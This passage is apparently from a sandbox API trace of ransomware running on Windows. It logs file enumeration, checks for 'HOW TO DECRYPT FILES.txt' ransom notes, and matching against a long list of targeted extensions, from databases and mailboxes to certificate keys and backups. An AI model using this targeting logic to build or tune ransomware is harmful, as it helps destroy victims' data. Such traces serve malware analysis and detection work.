out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x221c0ff0, ftCreationTime.dwHighDateTime=0x1d5e54b, ftLastAccessTime.dwLowDateTime=0x25284fe0, ftLastAccessTime.dwHighDateTime=0x1d5e4da, ftLastWriteTime.dwLowDateTime=0x25284fe0, ftLastWriteTime.dwHighDateTime=0x1d5e4da, nFileSizeHigh=0x0, nFileSizeLow=0x119e7, dwReserved0=0x26000325, dwReserved1=0x4e00c4, cFileName="Q4piow.m4a", cAlternateFileName="")) returned 1 [0090.393] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0090.393] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Q4piow.m4a") returned -1 [0090.393] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Q4piow.m4a") returned -1 [0090.393] lstrcmpiA (lpString1="", lpString2="Q4piow.m4a") returned -1 [0090.393] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a") returned="jOqchBvz4n.m4a" [0090.393] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\" [0090.393] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\") returned="" [0090.393] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\HOW TO DECRYPT FILES.txt" [0090.393] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\sbc7u9p4jsustm4f2\\how to decrypt files.txt")) returned 0x20 [0090.393] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\", lpString2="Q4piow.m4a" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a" [0090.393] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a", pszSpec="*.ems") returned 0 [0090.393] lstrlenA (lpString="*.ems") returned 5 [0090.393] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a", pszSpec="*.db") returned 0 [0090.393] lstrlenA (lpString="*.db") returned 4 [0090.393] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a", pszSpec="*.dbf") returned 0 [0090.393] lstrlenA (lpString="*.dbf") returned 5 [0090.394] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a", pszSpec="*.myox") returned 0 [0090.394] lstrlenA (lpString="*.myox") returned 6 [0090.394] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a", pszSpec="*.myo") returned 0 [0090.394] lstrlenA (lpString="*.myo") returned 5 [0090.394] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a", pszSpec="*.qbw") returned 0 [0090.394] lstrlenA (lpString="*.qbw") returned 5 [0090.394] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a", pszSpec="*.qbb") returned 0 [0090.394] lstrlenA (lpString="*.qbb") returned 5 [0090.394] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a", pszSpec="*.qbm") returned 0 [0090.394] lstrlenA (lpString="*.qbm") returned 5 [0090.394] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a", pszSpec="*.qbo") returned 0 [0090.394] lstrlenA (lpString="*.qbo") returned 5 [0090.394] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a", pszSpec="*.qbx") returned 0 [0090.394] lstrlenA (lpString="*.qbx") returned 5 [0090.394] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a", pszSpec="*.qba") returned 0 [0090.394] lstrlenA (lpString="*.qba") returned 5 [0090.394] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a", pszSpec="*.qby") returned 0 [0090.394] lstrlenA (lpString="*.qby") returned 5 [0090.394] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a", pszSpec="*.qbj") returned 0 [0090.394] lstrlenA (lpString="*.qbj") returned 5 [0090.394] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a", pszSpec="*.ofx") returned 0 [0090.395] lstrlenA (lpString="*.ofx") returned 5 [0090.395] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a", pszSpec="*.qif") returned 0 [0090.395] lstrlenA (lpString="*.qif") returned 5 [0090.395] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a", pszSpec="*.mye") returned 0 [0090.395] lstrlenA (lpString="*.mye") returned 5 [0090.395] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a", pszSpec="*.mbox") returned 0 [0090.395] lstrlenA (lpString="*.mbox") returned 6 [0090.395] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a", pszSpec="*.eml") returned 0 [0090.395] lstrlenA (lpString="*.eml") returned 5 [0090.395] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a", pszSpec="*.pst") returned 0 [0090.395] lstrlenA (lpString="*.pst") returned 5 [0090.395] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a", pszSpec="*.ost") returned 0 [0090.395] lstrlenA (lpString="*.ost") returned 5 [0090.395] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a", pszSpec="*.idx") returned 0 [0090.395] lstrlenA (lpString="*.idx") returned 5 [0090.395] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a", pszSpec="*.dbx") returned 0 [0090.395] lstrlenA (lpString="*.dbx") returned 5 [0090.395] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a", pszSpec="*.sql") returned 0 [0090.395] lstrlenA (lpString="*.sql") returned 5 [0090.395] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a", pszSpec="*.mdb") returned 0 [0090.395] lstrlenA (lpString="*.mdb") returned 5 [0090.395] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a", pszSpec="*.fdb") returned 0 [0090.396] lstrlenA (lpString="*.fdb") returned 5 [0090.396] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a", pszSpec="*.wab") returned 0 [0090.396] lstrlenA (lpString="*.wab") returned 5 [0090.396] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a", pszSpec="*.dat") returned 0 [0090.396] lstrlenA (lpString="*.dat") returned 5 [0090.396] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a", pszSpec="*.txt") returned 0 [0090.396] lstrlenA (lpString="*.txt") returned 5 [0090.396] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a", pszSpec="*.jpeg") returned 0 [0090.396] lstrlenA (lpString="*.jpeg") returned 6 [0090.396] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a", pszSpec="*.jpg") returned 0 [0090.396] lstrlenA (lpString="*.jpg") returned 5 [0090.396] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a", pszSpec="*.png") returned 0 [0090.396] lstrlenA (lpString="*.png") returned 5 [0090.396] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a", pszSpec="*.php") returned 0 [0090.396] lstrlenA (lpString="*.php") returned 5 [0090.396] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a", pszSpec="*.cs") returned 0 [0090.396] lstrlenA (lpString="*.cs") returned 4 [0090.396] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a", pszSpec="*.cpp") returned 0 [0090.396] lstrlenA (lpString="*.cpp") returned 5 [0090.396] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a", pszSpec="*.rar") returned 0 [0090.396] lstrlenA (lpString="*.rar") returned 5 [0090.397] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a", pszSpec="*.zip") returned 0 [0090.397] lstrlenA (lpString="*.zip") returned 5 [0090.397] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a", pszSpec="*.html") returned 0 [0090.397] lstrlenA (lpString="*.html") returned 6 [0090.397] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a", pszSpec="*.htm") returned 0 [0090.397] lstrlenA (lpString="*.htm") returned 5 [0090.397] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a", pszSpec="*.xlsx") returned 0 [0090.397] lstrlenA (lpString="*.xlsx") returned 6 [0090.397] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a", pszSpec="*.xls") returned 0 [0090.397] lstrlenA (lpString="*.xls") returned 5 [0090.397] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a", pszSpec="*.mp4") returned 0 [0090.397] lstrlenA (lpString="*.mp4") returned 5 [0090.397] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a", pszSpec="*.ppt") returned 0 [0090.397] lstrlenA (lpString="*.ppt") returned 5 [0090.397] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a", pszSpec="*.pptx") returned 0 [0090.397] lstrlenA (lpString="*.pptx") returned 6 [0090.397] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a", pszSpec="*.doc") returned 0 [0090.397] lstrlenA (lpString="*.doc") returned 5 [0090.397] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a", pszSpec="*.dot") returned 0 [0090.398] lstrlenA (lpString="*.dot") returned 5 [0090.398] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a", pszSpec="*.docx") returned 0 [0090.398] lstrlenA (lpString="*.docx") returned 6 [0090.398] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a", pszSpec="*.7z") returned 0 [0090.398] lstrlenA (lpString="*.7z") returned 4 [0090.398] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a", pszSpec="*.tar") returned 0 [0090.398] lstrlenA (lpString="*.tar") returned 5 [0090.398] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a", pszSpec="*.bz2") returned 0 [0090.398] lstrlenA (lpString="*.bz2") returned 5 [0090.398] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a", pszSpec="*.gz") returned 0 [0090.398] lstrlenA (lpString="*.gz") returned 4 [0090.398] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a", pszSpec="*.mkv") returned 0 [0090.398] lstrlenA (lpString="*.mkv") returned 5 [0090.398] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a", pszSpec="*.eml") returned 0 [0090.398] lstrlenA (lpString="*.eml") returned 5 [0090.398] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a", pszSpec="*.msg") returned 0 [0090.398] lstrlenA (lpString="*.msg") returned 5 [0090.398] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a", pszSpec="*.edb") returned 0 [0090.398] lstrlenA (lpString="*.edb") returned 5 [0090.398] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a", pszSpec="*.accdb") returned 0 [0090.399] lstrlenA (lpString="*.accdb") returned 7 [0090.399] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a", pszSpec="*.odb") returned 0 [0090.399] lstrlenA (lpString="*.odb") returned 5 [0090.399] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a", pszSpec="*.java") returned 0 [0090.399] lstrlenA (lpString="*.java") returned 6 [0090.399] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a", pszSpec="*.asm") returned 0 [0090.399] lstrlenA (lpString="*.asm") returned 5 [0090.399] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a", pszSpec="*.pfx") returned 0 [0090.399] lstrlenA (lpString="*.pfx") returned 5 [0090.399] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a", pszSpec="*.pem") returned 0 [0090.399] lstrlenA (lpString="*.pem") returned 5 [0090.399] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a", pszSpec="*.p12") returned 0 [0090.399] lstrlenA (lpString="*.p12") returned 5 [0090.399] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a", pszSpec="*.gpg") returned 0 [0090.400] lstrlenA (lpString="*.gpg") returned 5 [0090.400] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a", pszSpec="*.vsd") returned 0 [0090.400] lstrlenA (lpString="*.vsd") returned 5 [0090.400] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a", pszSpec="*.odg") returned 0 [0090.400] lstrlenA (lpString="*.odg") returned 5 [0090.400] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a", pszSpec="*.raw") returned 0 [0090.400] lstrlenA (lpString="*.raw") returned 5 [0090.400] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a", pszSpec="*.nef") returned 0 [0090.400] lstrlenA (lpString="*.nef") returned 5 [0090.400] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a", pszSpec="*.svg") returned 0 [0090.400] lstrlenA (lpString="*.svg") returned 5 [0090.400] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a", pszSpec="*.psd") returned 0 [0090.400] lstrlenA (lpString="*.psd") returned 5 [0090.400] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a", pszSpec="*.vmx") returned 0 [0090.400] lstrlenA (lpString="*.vmx") returned 5 [0090.400] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a", pszSpec="*.vmdk") returned 0 [0090.400] lstrlenA (lpString="*.vmdk") returned 6 [0090.400] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a", pszSpec="*.vdi") returned 0 [0090.400] lstrlenA (lpString="*.vdi") returned 5 [0090.400] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a", pszSpec="*.lay6") returned 0 [0090.400] lstrlenA (lpString="*.lay6") returned 6 [0090.401] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a", pszSpec="*.mpeg") returned 0 [0090.401] lstrlenA (lpString="*.mpeg") returned 6 [0090.401] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a", pszSpec="*.djvu") returned 0 [0090.401] lstrlenA (lpString="*.djvu") returned 6 [0090.401] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a", pszSpec="*.tiff") returned 0 [0090.401] lstrlenA (lpString="*.tiff") returned 6 [0090.401] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a", pszSpec="*.backup") returned 0 [0090.401] lstrlenA (lpString="*.backup") returned 8 [0090.401] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a", pszSpec="*.pdf") returned 0 [0090.401] lstrlenA (lpString="*.pdf") returned 5 [0090.401] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a", pszSpec="*.cert") returned 0 [0090.401] lstrlenA (lpString="*.cert") returned 6 [0090.401] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a", pszSpec="*.docm") returned 0 [0090.401] lstrlenA (lpString="*.docm") returned 6 [0090.401] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a", pszSpec="*.xlsm") returned 0 [0090.401] lstrlenA (lpString="*.xlsm") returned 6 [0090.401] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a", pszSpec="*.dwg") returned 0 [0090.401] lstrlenA (lpString="*.dwg") returned 5 [0090.401] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a", pszSpec="*.nd") returned 0 [0090.401] lstrlenA (lpString="*.nd") returned 4 [0090.401] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a", pszSpec="*.tlg") returned 0 [0090.401] lstrlenA (lpString="*.tlg") returned 5 [0090.401] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a", pszSpec="*.lgb") returned 0 [0090.402] lstrlenA (lpString="*.lgb") returned 5 [0090.402] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a", pszSpec="*.mov") returned 0 [0090.402] lstrlenA (lpString="*.mov") returned 5 [0090.402] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a", pszSpec="*.xdw") returned 0 [0090.402] lstrlenA (lpString="*.xdw") returned 5 [0090.402] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a", pszSpec="*.ods") returned 0 [0090.402] lstrlenA (lpString="*.ods") returned 5 [0090.402] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a", pszSpec="*.wav") returned 0 [0090.402] lstrlenA (lpString="*.wav") returned 5 [0090.402] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a", pszSpec="*.mp3") returned 0 [0090.402] lstrlenA (lpString="*.mp3") returned 5 [0090.402] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a", pszSpec="*.aiff") returned 0 [0090.402] lstrlenA (lpString="*.aiff") returned 6 [0090.402] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a", pszSpec="*.flac") returned 0 [0090.402] lstrlenA (lpString="*.flac") returned 6 [0090.402] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a", pszSpec="*.m4a") returned 1 [0090.402] lstrlenA (lpString="*.m4a") returned 5 [0090.402] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a" [0090.402] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a") returned="C:\\Users\\5p5NrGJn0jS 